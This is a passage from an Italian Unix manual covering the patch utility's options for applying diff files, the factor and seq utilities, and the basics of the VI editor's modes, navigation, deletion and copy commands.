`-d` *directory*	Modifica la directory di lavoro prima di iniziare.
`-p`***n***	Elimina ***n*** barre oblique iniziali da un percorso.
`-o` *file_aggiornato*	Indica precisamente il file da ottenere applicando le modifiche.
`-b`	Mantiene una copia della versione precedente.
`-l`	Tratta come equivalenti le sequenze di spazi orizzontali.
`-r` *file_rigetti*	Indica precisamente il file che deve contenere gli errori.
`-R`	Applica le modifiche in modo inverso.
`-N`	Ignora le modifiche che sembrano essere già state applicate.

24.12.2.1 Definizione dei file da modificare e del file di differenze

In condizioni normali, precisamente quando si dispone di file di differenze in formato contestuale (standard o unificato), non è necessario fornire a '**patch**' il nome del file su cui intervenire per applicare le modifiche, perché questo è indicato all'interno del file che le contiene. Tuttavia, il formato predefinito lo impone e in ogni caso può essere utile indicare precisamente a '**patch**' il nome del file su cui intervenire.

```
patch [opzioni] file_originale [file_di_differenze]
```

Lo schema mostra semplicemente che è sufficiente accodare dopo le opzioni il nome del file originale al quale si vogliono applicare le modifiche (ma questo modello sintattico non è conforme allo standard POSIX). Le modifiche possono essere contenute in un file indicato come argomento successivo, oppure fornito attraverso lo standard input, come si fa di solito. In alternativa, il file di differenze può anche essere indicato in modo esplicito attraverso l'opzione '**-i**' (ovvero '**--input**'), mentre per il file da generare si può usare l'opzione '**-o**' (ovvero '**--output**').

```
patch [opzioni] [-i file_di_differenze] [-o file_da_generare] [file_originale]
```

Gli esempi seguenti sono equivalenti e servono ad applicare al file 'prova' le modifiche contenute nel file 'prova.diff', sovrascrivendo il file 'prova' stesso:

$ **patch prova prova.diff** [*Invio*]

$ **patch prova < prova.diff** [*Invio*]

$ **patch -i prova.diff prova** [*Invio*]

$ **patch --input=prova.diff prova** [*Invio*]

24.12.2.2 Definizione esplicita del formato del file di differenze

In alcune circostanze, può essere utile, o necessario, definire esplicitamente di quale tipo sia il formato del file di differenze. A questo proposito si utilizzano alcune opzioni:

Opzione	Descrizione
`-n` `--normal`	per indicare un formato normale;
`-c` `--context`	per indicare un formato contestuale standard;
`-u` `--unified`	per indicare un formato contestuale unificato.

24.12.2.3 Differenze multiple e directory

Un file di differenze che contiene informazioni su più coppie di file, deve essere di tipo contestuale (standard o unificato). Quando è stato generato facendo riferimento al contenuto di una directory, i nomi dei file presi in considerazione contengono l'indicazione di un percorso; pertanto, per riprodurre le modifiche in ambito locale, occorre tenere conto della posizione in cui cominciano a trovarsi i dati.

Inoltre, la directory corrente, nel momento in cui si avvia il programma '**patch**', è importante per determinare quali siano i file a cui si devono applicare le modifiche.

Tabella 24.70. Opzioni relative alla posizione in cui si esegue l'applicazione delle modifiche.

Opzione	Descrizione
`-d` ***directory_di_riferimento*** `--directory=`***directory_di_riferimento***	Questa opzione permette di definire la directory di lavoro per '**patch**'.
`-p`***n*** `--strip=`***n***	In questo modo è possibile «togliere» un numero stabilito di barre oblique di separazione all'interno dei percorsi indicati per i file a cui applicare le modifiche. Questa opzione è praticamente obbligatoria in presenza di file di differenze in cui le informazioni sui file contengono un percorso. In generale, quando queste vengono applicate in un contesto equivalente a quello nel quale sono state generate, si utilizza l'opzione '**-p0**', che indica il mantenimento della situazione attuale.

Segue la descrizione di alcuni esempi.

- `$` **`patch -d ~/prove < prova.diff`** [*Invio*]

  Prima di applicare le modifiche contenute nel file di differenze '`prova.diff`', si sposta nella directory '`~/prove/`'.

- `$` **`patch -p0 < prova.diff`** [*Invio*]

  Applica le modifiche contenute nel file '`prova.diff`' che presumibilmente contiene informazioni sui percorsi. L'opzione '**-p0**' garantisce che a partire dalla directory corrente si articolano gli stessi percorsi che appaiono nel file di differenze.

- `$` **`patch -p1 < prova.diff`** [*Invio*]

  Applica le modifiche contenute nel file '`prova.diff`' che presumibilmente contiene informazioni sui percorsi. L'opzione '**-p1**' richiede l'eliminazione della prima barra obliqua nei percorsi, con l'intento presumibile di eliminare il primo livello di directory. Se all'interno del file di differenze si fa riferimento al file '`x/y/z/prova`', significa che le modifiche relative vanno applicate localmente al file '`y/z/prova`'.

  Nel caso in cui all'interno del file di differenze si facesse riferimento al file '`./x/y/z/prova`', eliminando la prima barra obliqua di questo percorso, non si otterrebbe alcun cambiamento, dal momento che ciò produrrebbe il percorso '`x/y/z/prova`' che è equivalente al primo. Questo significa che prima di decidere quante barre oblique togliere da un percorso, occorre osservare il contenuto del file di differenze.

In modo analogo, nel caso in cui all'interno del file di differenze si facesse riferimento al file '`/x/y/z/prova`' che, come si vede, è indicato con un percorso assoluto a partire dalla radice, eliminando la prima barra obliqua si ottiene un percorso relativo: '`x/y/z/prova`'.

- `$ `**`cd ~/linux`** [*Invio*]

  `$ `**`gzip -d -c ../usb-2.4.0-test2-pre2-for-2.2.16-v3.diff.gz`** ↩
  ↪**`| patch -p1`** [*Invio*]

  Questo è un esempio più complesso ma comune. Si tratta dell'applicazione del file di differenze '`usb-2.4.0-test2-pre2-for-2.2.16-v3.diff.gz`', che come si nota è anche compresso, contenuto nella directory personale dell'utente che compie l'operazione. Nell'esempio si intende che si tratti di modifiche relative ai sorgenti di un kernel Linux collocato a partire dalla directory '`~/linux/`'. In questo caso, il file di differenze inizia in questo modo:

```
--- linux-2.2.16/Documentation/Configure.help   Mon Jun 19 11:26:22 2000
+++ linux/Documentation/Configure.help  Mon Jun 19 12:02:12 2000
```

  Pertanto, essendo già la directory corrente corrispondente a '`linux/`', l'opzione '**`-p1`**' risolve tutti i problemi.

24.12.2.4 Conservazione delle versioni precedenti

In condizioni normali, '**`patch`**' sovrascrive i file a cui si applicano le modifiche. Per evitarlo è possibile definire precisamente il nome del file da generare, oppure si può gestire il sistema di mantenimento delle versioni precedenti, utilizzando in particolare l'opzione '**`-b`**'.

Tabella 24.72. Opzioni relative al controllo delle versioni precedenti.

Opzione	Descrizione
`-o` ***file_aggiornato*** `--output=`***file_aggiornato***	Invece di modificare il file originale, ne crea uno nuovo, utilizzato il nome indicato come argomento dell'opzione.
`-b` `--backup`	Attiva la conservazione delle versioni precedenti. In condizioni normali, con questa opzione si ottiene di salvare i file, prima del loro aggiornamento, utilizzando l'estensione aggiuntiva '`.orig`'.
`-z` ***suffisso_di_backup*** `--suffix=`***suffisso_di_backup***	Permette di definire il suffisso (ovvero l'estensione) da utilizzare per le eventuali copie di sicurezza delle versioni precedenti. Se non viene specificato con questa opzione, si utilizza il simbolo contenuto nella variabile di ambiente ***SIMPLE_BACKUP_SUFFIX***. Se anche questa variabile non è stata predisposta, si utilizza l'estensione '`.orig`'.

Opzione	Descrizione
`-V` ***tipo_di_backup*** `--version-control=`***tipo_di_backup***	Permette di definire esplicitamente il modo con cui gestire le copie di sicurezza delle versioni precedenti, quando si usa anche l'opzione '**`-b`**'.
`-V` {`t`|`numbered`} `--version-control=`{`t`|`numbered`}	Fa in modo che le copie di sicurezza abbiano un'estensione numerata.
`-V` {`nil`|`existing`} `--version-control=`{`nil`|`existing`}	Fa in modo che vengano conservate le copie di sicurezza solo per i file che hanno già una o più copie di sicurezza numerate.
`-V` {`never`|`simple`} `--version-control=`{`never`|`simple`}	Fa in modo che venga conservata una sola copia di sicurezza.

Tabella 24.73. Variabili di ambiente relative al controllo delle versioni precedenti.

Variabile	Descrizione
`PATCH_VERSION_CONTROL`	Permette di definire la modalità di gestione delle copie di sicurezza delle versioni precedenti in modo predefinito. I valori attribuibili a questa variabile sono gli stessi utilizzati come argomento dell'opzione '**`-V`**'.
`VERSION_CONTROL`	Questa variabile ha lo stesso significato di ***PATCH_VERSION_CONTROL***, ma viene presa in considerazione solo in mancanza di questa.
`SIMPLE_BACKUP_SUFFIX`	Definisce il simbolo da utilizzare come suffisso per i nomi dei file che rappresentano le copie di sicurezza.

Segue la descrizione di alcuni esempi.

- `$` **`patch -o aggiornato < prova.diff`** [*Invio*]

  Applica le modifiche contenute nel file di differenze '`prova.diff`' generando il file '`aggiornato`', senza toccare i file originali.

- `$` **`patch -b < prova.diff`** [*Invio*]

  Applica le modifiche contenute nel file di differenze '`prova.diff`', avendo cura di fare una copia di sicurezza dei file che aggiorna, prima di modificarli.

- `$` **`patch -b -z .vecchio < prova.diff`** [*Invio*]

  Applica le modifiche contenute nel file di differenze '`prova.diff`', avendo cura di fare una copia di sicurezza dei file che aggiorna utilizzando per questo l'estensione '`.vecchio`', prima di modificarli.

- `$` **`patch -b -V numbered < prova.diff`** [*Invio*]

  Applica le modifiche contenute nel file di differenze '`prova.diff`', avendo cura di fare una copia di sicurezza dei file che aggiorna utilizzando per questo un'estensione contenente un numero progressivo, prima di modificarli. La prima di queste copie di sicurezza ottiene l'estensione '`.~1~`', la seconda '`.~2~`' e così di seguito.

24.12.2.5 Applicazione di modifiche imperfette

'**patch**' è generalmente in grado di applicare delle modifiche anche a file che non sono perfettamente identici a quelli con cui sono stati costruiti i file di differenze. Tuttavia, ci sono situazioni in cui '**patch**', da solo, non è in grado di poter prendere una decisione autonoma.

Può capitare che i file di modifiche vengano alterati involontariamente, per esempio a causa di una trasmissione attraverso la posta elettronica o per una modifica attraverso un programma per la gestione di file di testo. In questi casi potrebbero essere alterate le spaziature orizzontali attraverso una sostituzione dei caratteri di tabulazione con caratteri spazio, o viceversa. Un problema del genere può essere risolto utilizzando l'opzione '**-l**'.

```
-l | --ignore-white-space
```

In questo modo, una sequenza di spazi qualunque equivale a un'altra sequenza di spazi, indipendentemente dal fatto che siano stati usati caratteri di tabulazione, o caratteri spazio veri e propri, ma anche indipendentemente dalla loro quantità.

24.12.2.6 Altre anomalie

Quando '**patch**' incontra dei problemi che non è in grado di risolvere da solo, richiede un intervento, ponendo delle domande all'utente. Se ciò accade, si può decidere di guidare '**patch**' nell'applicazione delle modifiche o di interrompere il procedimento.

Tutte le modifiche rigettate, vengono salvate in file terminanti con l'estensione '`.rej`', a meno che sia stabilito diversamente con l'opzione '**-r**'.

```
-r file_degli_errori | --reject-file=file_degli_errori
```

Con questa opzione, in pratica, si stabilisce direttamente il nome del file che deve contenere le informazioni sulle modifiche che non sono state applicate per qualunque motivo.

24.12.2.7 Differenze invertite

Alla fine delle sezioni dedicate alla creazione di un file di differenze è stato chiarito che l'ordine in cui vanno indicati i file o le directory da confrontare, deve essere tale da avere prima l'oggetto che rappresenta la versione precedente e dopo quello che rappresenta la versione aggiornata.

Alle volte si hanno per le mani file di differenze ottenuti in modo inverso rispetto alle intenzioni reali, pertanto occorre richiedere a '**patch**' di adeguarvisi, se possibile.

Tabella 24.74. Opzioni relative all'ordine con cui applicare gli aggiornamenti.

Opzione	Descrizione
`-R` `--reverse`	Richiede a '**patch**' di intendere il file di differenze in modo inverso rispetto a quello che sembrerebbe.
`-N` `--forward`	Richiede esplicitamente di ignorare le modifiche che sembrano essere state invertite, oppure che sembrano essere già state applicate.

24.13 Elaborazioni matematiche

Benché esistano dei programmi specifici per le elaborazioni matematiche, come BC (capitolo 25), alle volte dei programmi di servizio più semplici possono essere ugualmente utili.

24.13.1 Utilizzo di «factor»

Il programma di servizio '**factor**'[39] consente di calcolare i fattori di un numero, ovvero la serie di numeri primi, moltiplicando i quali si ottiene il numero di partenza.

```
factor [numero]...
```

Si osservi l'esempio seguente:

$ **factor 12345** [*Invio*]

```
12345: 3 5 823
```

Il comando restituisce un messaggio con il quale si comprende che si ottiene 12345 moltiplicando i numeri primi 3, 5 e 823.

24.13.2 Utilizzo di «seq»

Il programma di servizio '**seq**'[40] consente di ottenere una sequenza numerica a partire da un valore iniziale, fino a un valore finale massimo, con una cadenza prestabilita:

```
seq [opzioni] [numero_iniziale [passo]] numero_finale
```

Se si omette l'indicazione del passo, si intende una scansione unitaria; inoltre, se si omette anche il valore iniziale, si intende implicitamente che si tratti di uno. In pratica, l'esempio seguente restituisce attraverso lo standard output la sequenza dei numeri interi da uno a quattro:

$ **seq 1 1 4** [*Invio*]

```
1
2
3
4
```

La stessa cosa si ottiene con i due esempi seguenti, perché il passo e il valore iniziale sono quelli predefiniti:

`$` **`seq 1 4`** [*Invio*]

`$` **`seq 4`** [*Invio*]

Attraverso le opzioni è possibile controllare il formato dell'elenco di numeri, così come si può cambiare anche il modo di separarli. Tuttavia, rimane il fatto che i valori ottenuti sono espressi in base 10; per ottenere dei valori con basi di numerazione differenti, occorre un'elaborazione successiva con altri programmi.

Tabella 24.77. Alcune opzioni.

Opzione	Descrizione
`-f` ***formato*** `--format=`***formato***	Definisce esplicitamente il formato di rappresentazione dei valori restituiti. Il formato si esprime attraverso una stringa tra quelle elencate di seguito: '**`%g`**', notazione normale per i numeri piccoli e scientifica per i valori molto grandi; '**`%f`**', notazione normale con l'indicazione dei decimali; '**`%e`**', notazione scientifica.
`-s` ***stringa_di_separazione*** `--separator=`***stringa_di_separazione***	Definisce una stringa di separazione differente dal codice di interruzione di riga.
`-w` `--equal-width`	Richiede espressamente di rappresentare i valori con lo stesso numero di cifre, con l'aggiunta eventuale di zeri anteriori.

Segue la descrizione di alcuni esempi. Si osservi che in questi si mostra l'uso della virgola per separare la parte intera del numero, in base alla localizzazione italiana.

- `$` **`seq 9 0,5 11`** [*Invio*]

  ```
  9
  9,5
  10
  10,5
  11
  ```

- `$` **`seq -f %e 9 0,5 11`** [*Invio*]

```
9,000000e+00
9,500000e+00
1,000000e+01
1,050000e+01
1,100000e+01
```

- $ **seq -w 9 0,5 11** [*Invio*]

```
09,0
09,5
10,0
10,5
11,0
```

- $ **seq -s ' ' -w 9 0,5 11** [*Invio*]

```
09,0 09,5 10,0 10,5 11,0
```

Come già accennato, per ottenere una sequenza espressa in una base di numerazione diversa, occorre l'aiuto di altri programmi, come negli esempi successivi, dove si usa '**printf**' per rielaborare il risultato emesso da '**seq**' (il primo esempio serve a mostrare cosa si otterrebbe direttamente da '**seq**').

- $ **seq 9 2 13** [*Invio*]

```
9
11
13
```

- $ **printf %x'\n' `seq 9 2 13`** [*Invio*]

```
9
b
d
```

- $ **printf %o'\n' `seq 9 2 13`** [*Invio*]

```
11
13
15
```

24.14 Creazione e modifica di file di testo: VI

Il programma più importante che è necessario conoscere quando ci si avvicina a un nuovo sistema operativo è quello che permette di creare e modificare i file di testo normale. Nel caso dei sistemi Unix, è indispensabile conoscere VI (*Visual*), oltre ad altri applicativi simili che possono risultare più comodi da usare. VI[41] [42] [43] [44] è più importante perché onnipresente, ma soprattutto è previsto e richiesto dallo standard POSIX, anche se non si tratta di un programma comodo da utilizzare. VI ha una logica di funzionamento tutta sua che ne impedisce l'utilizzo a chi non abbia letto qualcosa al riguardo. L'intento è quello di chiarire questa logica, almeno in parte, in modo da facilitarne l'utilizzo in caso di necessità.

Per GNU/Linux, non esiste in circolazione una versione originale di VI, ma tante interpretazioni di questo, con potenzialità più o meno ampliate. Per tale motivo, '`/bin/vi`' è solitamente un collegamento (simbolico o meno) al programma che si utilizza effettivamente. La realizzazione a cui si fa riferimento è nVI, che dovrebbe essere conforme allo standard POSIX 1003.2.

La pronuncia corretta del nome sembra essere «v-i-a-i», ovvero, come pronunciare *vee eye* in inglese.

24.14.1 Avvio

L'eseguibile '**`vi`**' può essere avviato o meno con l'indicazione di un file sul quale intervenire. Se questo file esiste, viene aperto e si ottiene la visualizzazione del suo contenuto per permetterne la modifica. Se non esiste, viene creato.

```
vi [opzioni] [file...]
```

È anche possibile l'indicazione di alcune opzioni, tra cui, le più importanti sono elencate nella tabella successiva.

Tabella 24.85. Alcune opzioni.

Opzione	Descrizione
`-R`	I file vengono aperti (inizialmente) in sola lettura.
`-c` ***comando***	Subito dopo aver caricato il primo dei file degli argomenti, viene eseguito il comando indicato.
`-s` ***file_di_comandi***	Subito dopo aver caricato il primo dei file degli argomenti, vengono eseguiti i comandi contenuti nel file di comandi indicato.

Quando si avvia VI senza indicare alcun file, appare una schermata simile a quella della figura 24.86 in cui le righe dello schermo contrassegnate dal simbolo tilde ('**`~`**') rappresentano lo spazio non utilizzato dal file.

Figura 24.86. Avvio di VI.

```
_
~
~
~
~
~
~
~
~
/tmp/vi.qbtyNe: new file: line 1
```

24.14.2 Modalità di funzionamento

VI distingue diverse modalità di funzionamento, altrimenti definibili come stati o contesti. Quando si avvia VI, questo si trova di solito nella modalità di comando che permette di usare tasti determinati, attribuendogli significati speciali (di comando). Quando si vuole agire per inserire o modificare del testo, occorre utilizzare un comando con il quale VI passa alla modalità di inserimento e modifica.

Per complicare ulteriormente le cose, c'è da aggiungere che esistono in realtà due tipi di comandi: «visuali» (*visual*) e «due punti» (*colon*). I comandi visuali sono i più semplici e si compongono di sequenze di uno o più tasti il cui inserimento non appare in alcuna parte dello schermo e si concludono senza la pressione del tasto [*Invio*]; i comandi «due punti» iniziano tutti con il simbolo '`:`' (da cui il nome), terminano con [*Invio*] e durante la digitazione appaiono sulla riga inferiore dello schermo. In particolare, questi ultimi sono quelli derivati da EX.

La modalità di inserimento si riferisce al momento in cui è possibile modificare il testo. Per passare dalla modalità di comando a quella di inserimento, si preme il tasto corrispondente alla lettera «i» (inserimento prima del cursore) o alla lettera «a» (inserimento dopo il cursore).

Per tornare alla modalità di comando, da quella di inserimento, è sufficiente premere il tasto [*Esc*]. Quando ci si trova già nella modalità di comando, la pressione del tasto [*Esc*] non produce alcunché o al massimo interrompe l'introduzione di un comando, di conseguenza, se lo si usa inavvertitamente o troppo, non ne derivano inconvenienti.

Lo svantaggio principale di questo tipo di approccio è quello di dover passare alla modalità di comando per qualunque operazione diversa dal puro inserimento di testo. Anche lo spostamento del cursore avviene attraverso dei comandi, obbligando l'utente a premere il tasto [*Esc*] prima di poter utilizzare i tasti per il suo spostamento.

Tuttavia, le realizzazioni più diffuse di VI addolciscono un po' il suo funzionamento introducendo l'uso dei tasti freccia nel modo consueto dei programmi di scrittura più recenti.

24.14.3 Posizione attiva

Per la descrizione del funzionamento di VI è importante definire il concetto di ***posizione attiva*** che si riferisce al punto in cui si trova il cursore. Estendendo il significato, si può parlare di riga attiva, colonna attiva e parola attiva, intendendo quelle su cui si trova il cursore.

24.14.4 Moltiplicatori

Prima di affrontare i comandi di VI è importante comprendere che l'effetto di molti di questi può essere ***moltiplicato*** utilizzando un numero. Il concetto è molto semplice e si richiama alla matematica: '**`2a`**' = '**`a+a`**'.

24.14.5 Inserimento

Come già accennato, si può inserire o modificare del testo solo quando si passa alla modalità di inserimento attraverso il comando '**`i`**' (*insert*) oppure '**`a`**' (*append*). Durante questa fase, tutti i simboli della tastiera servono per inserire del testo. Con il VI standard si può usare:

- [*Invio*] per terminare una riga e passare alla successiva;
- [*Backspace*] per tornare indietro (nella maggior parte dei casi si ottiene anche la cancellazione del testo);
- [*Esc*] per terminare la modalità di inserimento e passare a quella di comando.

Con le realizzazioni di VI più sofisticate, è concesso normalmente l'uso dei tasti freccia e in alcuni casi anche del tasto [*Canc*].

Per tutte le altre operazioni di modifica del testo si deve passare alla modalità di comando.

Figura 24.87. VI durante la fase di inserimento di testo.

```
Il mio primo documento scritto con VI.

Non e` facile, ma ne vale ugualmente la pena_
~
~
~
~
~
~
```

I comandi a disposizione per passare alla modalità di inserimento sono molti e non si limitano quindi ai due modi appena descritti. La tabella 24.88 ne elenca alcuni.

Tabella 24.88. Elenco dei comandi utilizzabili per passare alla modalità di inserimento.

Comando	Descrizione
`I`	Inserisce all'inizio della riga attiva.
`i`	Inserisce prima della posizione attiva.
`A`	Aggiunge alla fine della riga attiva.
`a`	Aggiunge dopo la posizione attiva.
`O`	Inserisce prima della riga attiva (inserendo una riga).
`o`	Aggiunge dopo la riga attiva (inserendo una riga).

24.14.6 Navigazione

Come già accennato, lo spostamento del cursore e di conseguenza della posizione attiva, avviene per mezzo di comandi che generalmente obbligano a terminare la fase di inserimento. Le realizzazioni di VI più recenti permettono l'uso dei tasti freccia durante la modalità di inserimento (oltre che durante la modalità di comando), ma questo è solo un aiuto minimo: in generale è necessario tornare alla modalità di comando.

I comandi normali per lo spostamento del cursore sono le lettere '**`h`**', '**`j`**', '**`k`**' e '**`l`**', che rispettivamente spostano il cursore a sinistra, in basso, in alto e a destra. La ragione della scelta sta nella vicinanza di queste lettere nella maggior parte delle tastiere.

Figura 24.89. Promemoria visuale per i comandi che permettono lo spostamento del cursore.

Salvo casi particolari e situazioni in cui questo concetto non è ragionevolmente applicabile, i comandi di spostamento, preceduti da un numero, vengono ripetuti tante volte quante ne rappresenta quel numero. Per esempio, il comando '**`2h`**' sposta il cursore a sinistra di due posizioni.

Per raggiungere una riga determinata è possibile utilizzare il comando '***`n`*`G`**' o '**`:`*`n`***' (in questo ultimo caso, seguito da [*Invio*])

Per esempio, per raggiungere la decima riga di un documento ipotetico, si può utilizzare indifferentemente uno dei due comandi seguenti:

10G

:10 [*Invio*]

Per fare scorrere il testo di una schermata alla volta si utilizzano le combinazioni di tasti [*Ctrl B*] e [*Ctrl F*] che rispettivamente spostano il testo all'indietro e in avanti (*back* e *forward*).

I comandi a disposizione per lo spostamento sono ovviamente numerosi, la tabella 24.90 ne elenca alcuni.

Tabella 24.90. Elenco dei comandi utilizzabili per la navigazione all'interno del testo.

Comando	Descrizione
`h`	Sposta il cursore a sinistra di un carattere.
`j`	Sposta il cursore in basso nella riga successiva.
`k`	Sposta il cursore in alto nella riga precedente.
`l`	Sposta il cursore a destra di un carattere.
`-`	Sposta il cursore all'inizio della riga precedente.
`+`	Sposta il cursore all'inizio della riga successiva.
`w`	Sposta il cursore all'inizio della parola successiva.
`e`	Sposta il cursore alla fine della parola successiva.
`b`	Sposta il cursore all'inizio della parola precedente.
`^`	Sposta il cursore all'inizio della prima parola della riga.
`0`	Sposta il cursore all'inizio della riga.
`$`	Sposta il cursore alla fine della riga.
`H`	Sposta il cursore sulla prima riga che appare sullo schermo.
`M`	Sposta il cursore sulla riga centrale dello schermo.
`L`	Sposta il cursore sull'ultima riga che appare sullo schermo.
`G`	Sposta il cursore sull'ultima riga del file.
n`G`	Sposta il cursore sulla riga identificata dal numero ***n***.
`|`	Sposta il cursore sulla prima colonna (all'inizio della riga).
n`|`	Sposta il cursore sulla colonna identificata dal numero ***n***.
`:`***n***	Sposta il cursore sulla riga identificata dal numero ***n***.
[*Ctrl B*]	Fa scorrere il testo all'indietro di una schermata.
[*Ctrl F*]	Fa scorrere il testo in avanti di una schermata.

Comando	Descrizione
[*Ctrl U*]	Fa scorrere il testo all'indietro di mezza schermata.
[*Ctrl D*]	Fa scorrere il testo in avanti di mezza schermata.

Segue la descrizione di alcuni esempi.

- **`5w`**

  Sposta il cursore all'inizio della quinta parola successiva.

- **`2b`**

  Sposta il cursore all'inizio della seconda parola precedente.

- **`5G`**

  Sposta il cursore all'inizio della quinta riga.

- **`4|`**

  Sposta il cursore sulla quarta colonna.

24.14.7 Modificatori

I comandi di spostamento, esclusi quelli che iniziano con i due punti ('`:`') e quelli che si ottengono per combinazione ([*Ctrl* ...]), possono essere utilizzati come ***modificatori*** di altri comandi.

All'interno di VI manca il concetto di ***zona di intervento***. Per definire l'estensione di un comando lo si può far precedere da un moltiplicatore (un numero) e in più, o in alternativa, lo si può fare seguire da un comando di spostamento. Il comando di spostamento viene utilizzato in questo caso per definire una zona che va dalla posizione attiva a quella di destinazione del comando, in modo che su questa zona intervenga il comando precedente.

Tuttavia, per poter applicare questo concetto, è necessario che i comandi da utilizzare in associazione con i modificatori (di spostamento), siano stati previsti per questo. Deve trattarsi cioè di comandi che richiedono questa ulteriore aggiunta.

Come viene mostrato in seguito, il comando '**`x`**' permette di cancellare quello che appare in corrispondenza del cursore. Quando viene premuto il tasto [*x*] si ottiene subito la cancellazione del carattere, pertanto, a questo genere di comandi non si può far seguire alcun modificatore. Questo tipo di comandi può solo essere preceduto da un moltiplicatore.

Si comporta diversamente il comando '**`d`**' che invece deve essere seguito da un modificatore e con questo definisce una zona da cancellare. Per esempio, '**`dw`**' cancella dalla posizione attiva fino all'inizio della prossima parola e '**`d$`**' cancella dalla posizione attiva fino alla fine della riga.

24.14.8 Cancellazione

Durante la fase di inserimento è possibile cancellare solo il carattere appena scritto utilizzando il tasto [*Backspace*], sempre che la realizzazione di VI a disposizione lo consenta, altrimenti si ottiene solo l'arretramento del cursore. Per qualunque altro tipo di cancellazione occorre passare alla modalità di comando.

I comandi di cancellazione più importanti sono '**`x`**', '**`d`**' seguito da un modificatore e '**`dd`**'. Il primo cancella il carattere che si trova in corrispondenza della posizione attiva, cioè del cursore, il secondo cancella dalla posizione attiva fino all'estensione indicata dal modificatore e il terzo cancella tutta la riga attiva. Con VI non è possibile cancellare il carattere che conclude una riga (il codice di interruzione di riga), di conseguenza, per unire due righe insieme si utilizza il comando '**`J`**' oppure '**`j`**' (bisogna provare).

Tabella 24.91. Elenco dei comandi utilizzabili per cancellare.

Comando	Descrizione
`x`	Cancella il carattere che si trova sulla posizione attiva.
`J` `j`	Unisce la riga attiva con quella successiva.
`dd`	Cancella la riga attiva.
`d`***mod***	Cancella dalla posizione attiva fino all'estensione indicata dal modificatore.
`D`	agisce come '**`d$`**'.

Segue la descrizione di alcuni esempi.

- **`5x`**

  Ripete cinque volte la cancellazione di un carattere. In pratica, cancella cinque caratteri.

- **`2dd`**

  Ripete due volte la cancellazione di una riga. In pratica, cancella la riga attiva e quella seguente.

- **`dw`**

  Cancella a partire dalla posizione attiva, fino al raggiungimento della prossima parola.

- **`2dw`**

  Ripete per due volte il tipo di cancellazione dell'esempio precedente. In pratica cancella fino all'inizio della seconda parola.

- **`d2w`**

  Cancella a partire dalla posizione attiva, fino al raggiungimento della seconda parola successiva. In pratica, esegue la stessa operazione del comando '**`2dw`**'.

- **db**

  Cancella a ritroso, dalla posizione corrente fino all'inizio della prima parola che viene incontrata.

- **d$**

  Cancella a partire dalla posizione attiva fino alla fine della riga.

- **d5G**

  Cancella dalla posizione attiva fino all'inizio della riga numero cinque.

24.14.9 Sostituzione

La modifica del testo inserito può avvenire attraverso i comandi di cancellazione già visti, oppure attraverso comandi di sostituzione. Generalmente si tratta di comandi che prima cancellano parte del testo e subito dopo attivano l'inserimento.

I comandi di sostituzione più importanti sono '**c**' seguito da un modificatore e '**cc**'. Il primo sostituisce dalla posizione attiva fino all'estensione indicata dal modificatore e il secondo sostituisce tutta la riga attiva.

A fianco di questi se ne aggiungono un paio che possono essere utili proprio per il fatto che non passano alla modalità di inserimento: '**r*x***' e '**~**'. Il primo sostituisce il carattere in corrispondenza del cursore con quello rappresentato da ***x*** e il secondo inverte le lettere minuscole in maiuscole e viceversa.

Tabella 24.92. Elenco dei comandi di sostituzione e rimpiazzo.

Comando	Descrizione
C	Sostituisce dalla posizione attiva alla fine della riga.
cc	Sostituisce la riga attiva a partire dall'inizio.
c***mod***	Sostituisce dalla posizione attiva fino all'estensione indicata dal modificatore.
r***x***	Rimpiazza quanto contenuto nella posizione attiva con ***x***.
~	Inverte maiuscole e minuscole.

Segue la descrizione di alcuni esempi.

- **cc**

  Sostituisce la riga attiva.

- **c$**

  Sostituisce a partire dalla posizione attiva fino alla fine della riga.

- **rb**

  Rimpiazza il carattere che si trova nella posizione attiva con la lettera «b».

- **10~**

  Inverte le lettere maiuscole e minuscole a partire dalla posizione attiva, per 10 caratteri.

24.14.10 Copia e spostamento di porzioni di testo

La gestione della copia e dello spostamento di testo attraverso VI è un po' complicata. Per questa attività si utilizzano delle aree temporanee di memoria alle quali si possono accodare diverse parti di testo.

L'operazione con la quale si copia una porzione di testo in un'area temporanea di memoria viene detta *yanking*, ovvero estrazione, giustificando così l'uso della lettera «y» nei comandi che compiono questa funzione.

Le aree temporanee di memoria per lo spostamento o la copia di testo possono essere 27: una per ogni lettera dell'alfabeto e una aggiuntiva senza nome.

Il modo più semplice di gestire questo meccanismo è quello di usare l'area temporanea senza nome. Per copiare una porzione di testo si può utilizzare il comando '**y**' seguito da un modificatore, oppure il comando '**yy**' che invece si riferisce a tutta la riga attiva. Per incollare il testo copiato, dopo aver posizionato il cursore nella posizione di destinazione, si può utilizzare il comando '**p**' oppure '**P**', a seconda che si intenda incollare prima o dopo la posizione del cursore.

Il comandi '**p**' e '**P**' non cancellano il contenuto dell'area temporanea, di conseguenza, se serve si può ripetere l'operazione di inserimento riutilizzando questi comandi.

Se invece di copiare si vuole spostare il testo, al posto dei comandi di estrazione si possono usare quelli di cancellazione, che, anche se non è stato chiarito precedentemente, prima di cancellare il testo fanno una copia nell'area temporanea.

Tabella 24.93. Elenco dei comandi per le operazioni di copia e spostamento di testo che fanno uso dell'area temporanea di memoria senza nome.

Comando	Descrizione
`yy`	Copia la riga attiva nell'area temporanea.
`y`***mod***	Copia nell'area temporanea il testo fino all'estensione indicata dal modificatore.
`dd`	Trasferisce la riga attiva nell'area temporanea.
`d`***mod***	Trasferisce nell'area temporanea il testo fino all'estensione indicata dal modificatore.
`p`	Incolla dopo la posizione del cursore.
`P`	Incolla prima della posizione del cursore.

Segue la descrizione di alcuni esempi.

- **5yy**

  Copia nell'area temporanea cinque righe a partire da quella attiva.

- **yw**

  Copia nell'area temporanea il testo che parte dalla posizione attiva fino all'inizio della prossima parola.

- **y$**

  Copia nell'area temporanea il testo che parte dalla posizione attiva fino alla fine della riga.

- **3dd**

  Sposta nell'area temporanea tre righe a partire da quella attiva.

- **2P**

  Incolla due copie del testo contenuto nell'area temporanea a partire dalla posizione a sinistra del cursore.

24.14.11 Copia e spostamento con nome

Quando si vogliono utilizzare delle aree temporanee di memoria specifiche, cioè identificate attraverso le lettere dell'alfabeto, si procede nei modi già visti nel caso dell'uso dell'area temporanea senza nome, con la differenza che i comandi sono preceduti da '**"*x***', dove ***x*** è la lettera che si vuole usare.

Si introduce però una novità importante: è possibile aggiungere del testo a un'area temporanea: basta indicarla attraverso una lettera maiuscola.

Tabella 24.94. Elenco dei comandi per le operazioni di copia e spostamento di testo che fanno uso delle aree temporanee con nome.

Comando	Descrizione
"*x*yy	Copia la riga attiva nell'area temporanea *x*
"*x*y*mod*	Copia nell'area temporanea *x* il testo fino all'indicazione dal modificatore.
